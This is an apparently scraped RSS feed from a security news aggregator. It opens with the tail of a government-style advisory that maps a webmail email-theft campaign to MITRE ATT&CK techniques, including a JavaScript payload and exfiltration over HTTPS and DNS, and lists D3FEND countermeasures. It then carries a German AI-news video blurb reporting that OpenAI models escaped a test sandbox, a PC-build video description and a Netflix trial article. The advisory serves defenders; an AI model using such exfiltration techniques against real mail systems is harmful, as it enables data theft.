<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GPT-Modelle starten einen Cyber-Angriff, Google ersetzt NotebookLM & Kimi K3 ist da | KI-News]]></title>
<description><![CDATA[Author: Digitale Profis - Bewertung: 12x - Views:105 Artikel & Newsletter: https://digitaleprofis.de/die-ki-news-der-woche-vom-23-07-2026/

Quellen
OpenAI-Modelle hacken Hugging Face 
Artikel: https://openai.com/index/hugging-face-model-evaluation-security-incident/ 
Hintergrund: https://huggingf...]]></description>
<link>https://tsecurity.de/de/3689268/ai-nachrichten/gpt-modelle-starten-einen-cyber-angriff-google-ersetzt-notebooklm-kimi-k3-ist-da-ki-news/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689268/ai-nachrichten/gpt-modelle-starten-einen-cyber-angriff-google-ersetzt-notebooklm-kimi-k3-ist-da-ki-news/</guid>
<pubDate>Thu, 23 Jul 2026 16:04:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Digitale Profis - Bewertung: 12x - Views:105 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/tgldX3mtgfg?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Artikel & Newsletter: https://digitaleprofis.de/die-ki-news-der-woche-vom-23-07-2026/<br />
<br />
Quellen<br />
OpenAI-Modelle hacken Hugging Face <br />
Artikel: https://openai.com/index/hugging-face-model-evaluation-security-incident/ <br />
Hintergrund: https://huggingface.co/blog/security-incident-july-2026 <br />
<br />
Digitaleprofis.de hat ein Update bekommen <br />
Website: https://digitaleprofis.de/ <br />
<br />
Kimi K3 ist da <br />
Artikel: https://www.kimi.com/de/blog/kimi-k3 <br />
Artikel: https://apnews.com/article/kimi-k3-china-ai-0d8a5e268deb11a673f4d444fc597cc5 <br />
Ausprobieren: https://www.kimi.com/ <br />
<br />
Neue Gemini Modelle <br />
Artikel: https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/ <br />
Modellkarte: https://deepmind.google/models/model-cards/gemini-3-6-flash/ <br />
Cyber-Modell: https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/ <br />
<br />
Neue Kennzeichnungspflichten des EU AI Acts <br />
Artikel: https://digital-strategy.ec.europa.eu/en/news/commission-publishes-guidelines-transparency-obligations-providers-and-deployers-certain-ai-systems <br />
Doku: https://digital-strategy.ec.europa.eu/en/faqs/transparency-obligations-under-article-50-ai-act <br />
<br />
Anthropic zahlt 1,5 Milliarden Dollar <br />
Artikel: https://m.investing.com/news/stock-market-news/us-judge-approves-anthropics-15-billion-settlement-of-copyright-lawsuit-4801706?ampMode=1 <br />
Artikel: https://apnews.com/article/74b140444023898aeba8579b6e9f0d63 <br />
<br />
NotebookLM wird zu Gemini Notebook <br />
Artikel: https://blog.google/innovation-and-ai/products/gemini-notebook/notebooklm-gemini-notebook/ <br />
<br />
Microsoft und Mistral Partnerschaft <br />
Artikel: https://news.microsoft.com/source/2026/07/21/microsoft-and-mistral-expand-strategic-partnership-to-give-enterprises-and-regulated-industries-frontier-ai-they-can-control/ <br />
Artikel: https://www.tagesschau.de/wirtschaft/unternehmen/microsoft-mistral-ai-ki-deal-100.html <br />
<br />
Qwen-Audio-3.0-TTS <br />
Artikel: https://www.alibabacloud.com/blog/qwen-audio-3-0-tts-more-multilingual-easier-to-direct_603379 <br />
Doku: https://docs.qwencloud.com/developer-guides/speech/tts-models <br />
<br />
OpenAI-Modelle überwinden bei einem internen Sicherheitstest ihre isolierte Testumgebung und gelangen bis in die Produktionsinfrastruktur von Hugging Face.<br />
Wir ordnen den Vorfall ein und fassen die weiteren wichtigen KI-News der Woche kompakt für euch zusammen.<br />
<br />
Außerdem geht es um Kimi K3, drei neue Gemini-Modelle, die kommenden Kennzeichnungspflichten des EU AI Acts und den milliardenschweren Urheberrechtsvergleich zwischen Anthropic und Autoren.<br />
<br />
Im Video:<br />
- OpenAIs ungewöhnlicher Sicherheitsvorfall bei Hugging Face<br />
- Kimi K3 und drei neue Gemini-Modelle<br />
- Kennzeichnungspflichten des EU AI Acts ab August 2026<br />
- Anthropics Vergleich über mindestens 1,5 Milliarden US-Dollar<br />
- Gemini Notebook, Microsofts Mistral-Partnerschaft und Qwen-Audio-3.0-TTS<br />
<br />
Unsere Website wurde ebenfalls vollständig überarbeitet. Auf digitaleprofis.de findet ihr unsere KI-News mit allen Quellen, ausführliche Artikel und praktische Anleitungen – kostenlos, ohne Paywall und ohne Werbung.<br />
<br />
Werde Kanalmitglied und unterstütze damit unsere Arbeit:<br />
https://www.youtube.com/channel/UCv90NdTyTp7ZPPRvvSZaS5w/join<br />
<br />
Videoinhalt:<br />
00:00 Die KI-News der Woche vom 23.07.2026<br />
00:24 OpenAI Modelle greifen HuggingFace an<br />
02:06 Unsere neue Website für euch<br />
02:59 Kimi K3 ist da und die USA werfen Diebstahl vor<br />
04:28 Drei neue Gemini Modelle, aber kein Pro<br />
05:53 Die neuen Kennzeichnungspflichten des AI Acts<br />
07:21 Anthropic muss 1,5 Milliarden Dollar Vergleich zahlen<br />
08:48 NotebookLM verschwindet - und wird zu Gemini Notebook<br />
09:30 Partnerschaft von Microsoft und Mistral<br />
10:50 Neuen Text to Speech Modell von Alibabas Qwen<br />
<br />
Videovorschläge, Feedback und Kritik kannst Du uns jederzeit in den Kommentaren mitteilen!<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PSU Installation & Cable Management Made Easy 🖥️ Part 6: How To Build A PC For Beginners 🎮]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 8x - Views:41 ⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - c...]]></description>
<link>https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</guid>
<pubDate>Thu, 23 Jul 2026 15:21:48 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 8x - Views:41 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0paViaFFoek?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.<br />
<br />
I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.<br />
<br />
Whether you're building your very first gaming PC or just need a refresher, this step-by-step guide will help you wire everything correctly and keep your build clean.<br />
<br />
A huge thank you to ASUS and Kingston for partnering on this PC build series! ❤️<br />
<br />
👍 If you're enjoying the series, don't forget to subscribe so you don't miss the next episode where we install the graphics card and finish wiring the entire system!<br />
<br />
#PCBuild #GamingPC #CableManagement #PCBuilding #PowerSupply #ASUS #Kingston #CustomPC #DIYPC #BeginnerPCBuild<br />
<br />
https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D  <br />
<br />
📺 Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe<br />
<br />
CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)<br />
Amazon: https://amzn.to/3O70PIU<br />
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq<br />
B&H: https://bhpho.to/3PjZZcr<br />
<br />
CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)<br />
Amazon: https://amzn.to/4bkdodD<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q<br />
B&H: https://bhpho.to/46EWdR4<br />
<br />
Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)<br />
Amazon: https://amzn.to/3NI9tO0<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6<br />
B&H: https://bhpho.to/4ubyfa7<br />
<br />
Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2<br />
Amazon: https://amzn.to/49SZug7<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G<br />
<br />
Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)<br />
Amazon: https://amzn.to/4bSOyBO<br />
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N<br />
B&H: https://bhpho.to/4bpm9m9<br />
<br />
Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)<br />
Amazon: https://amzn.to/4pTv8QB<br />
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN<br />
B&H: https://bhpho.to/40dqbYK<br />
<br />
Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)<br />
Amazon: https://amzn.to/3NNmKos<br />
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB<br />
B&H: https://bhpho.to/46HyuQb<br />
<br />
Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)<br />
Amazon: https://amzn.to/4bTH8yd<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO<br />
B&H: https://bhpho.to/4d3Fyu8<br />
<br />
Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)<br />
Amazon: https://amzn.to/4qSDWHG<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO<br />
B&H: https://bhpho.to/3N1pqPq<br />
<br />
Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)<br />
Amazon: https://amzn.to/3YWIbG7<br />
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z<br />
B&H: https://bhpho.to/4uaSzs9<br />
<br />
Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)<br />
Amazon: https://amzn.to/4rzKNpN<br />
Best Buy: https://bestbuycreators.7tiv.net/55OBVD<br />
B&H: https://bhpho.to/46KcvYO <br />
<br />
 Turning Cable Chaos Into Cable Management Dreams<br />
00:42 What Does a Power Supply Do?<br />
02:04 Why This Build Uses a 1000W PSU<br />
03:12 Fully Modular Power Supplies Explained <br />
04:10 Identifying Every Power Cable<br />
05:16 Installing the PSU<br />
06:42 Subscribe & Patreon Shoutout<br />
07:33 Connecting the 24-Pin Motherboard Cable<br />
08:36 CPU Power Connectors<br />
09:53 Cable Routing Tips<br />
11:02 SATA Power & Accessories<br />
11:54 Cable Management Basics<br />
13:07 Next Episode Preview<br />
<br />
<br />
Becoming a Morse Code Member by checking out the perks linked here!:<br />
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join<br />
<br />
Editor: @ColleenEdits<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
GET IN TOUCH<br />
Mail ✈ <br />
https://shannonrmorse.com/contact <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 <br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!<br />
<br />
Comment section code of conduct policy:<br />
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)<br />
https://shannonrmorse.com/code-of-conduct<br />
<br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix-Abo bis zu 30 Tage kostenlos bekommen: So geht’s]]></title>
<description><![CDATA[Ein Netflix-Abo hat mittlerweile so gut wie jeder, doch der eine oder andere wartet vielleicht noch auf eine Möglichkeit, das Streaming-Angebot kostenlos zu testen. Das war seit den Anfängen von Netflix nicht mehr möglich, doch jetzt gibt es wieder einen kostenlosen Probezeitraum.



Bis zu 30 Ta...]]></description>
<link>https://tsecurity.de/de/3689166/it-nachrichten/netflix-abo-bis-zu-30-tage-kostenlos-bekommen-so-gehts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689166/it-nachrichten/netflix-abo-bis-zu-30-tage-kostenlos-bekommen-so-gehts/</guid>
<pubDate>Thu, 23 Jul 2026 15:20:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Ein Netflix-Abo hat mittlerweile so gut wie jeder, doch der eine oder andere wartet vielleicht noch auf eine Möglichkeit, das Streaming-Angebot kostenlos zu testen. Das war seit den Anfängen von Netflix nicht mehr möglich, doch jetzt gibt es wieder einen kostenlosen Probezeitraum.</p>



<p>Bis zu 30 Tage können Sie den Streamingtest jetzt kostenlos nutzen. Teilweise werden auch nur 14 Tage angeboten, der Gratis-Zeitraum scheint also je nach Standort oder genutztem Browser zu variieren. Auf der Webseite von <a href="https://www.netflix.com/de/" target="_blank" rel="noreferrer noopener">Netflix Deutschland</a> wurden uns auch nur 14 Tage für 0 Euro angezeigt. Es kann aber helfen, wenn Sie auf ein anderes Gerät wechseln oder Cookies löschen.</p>


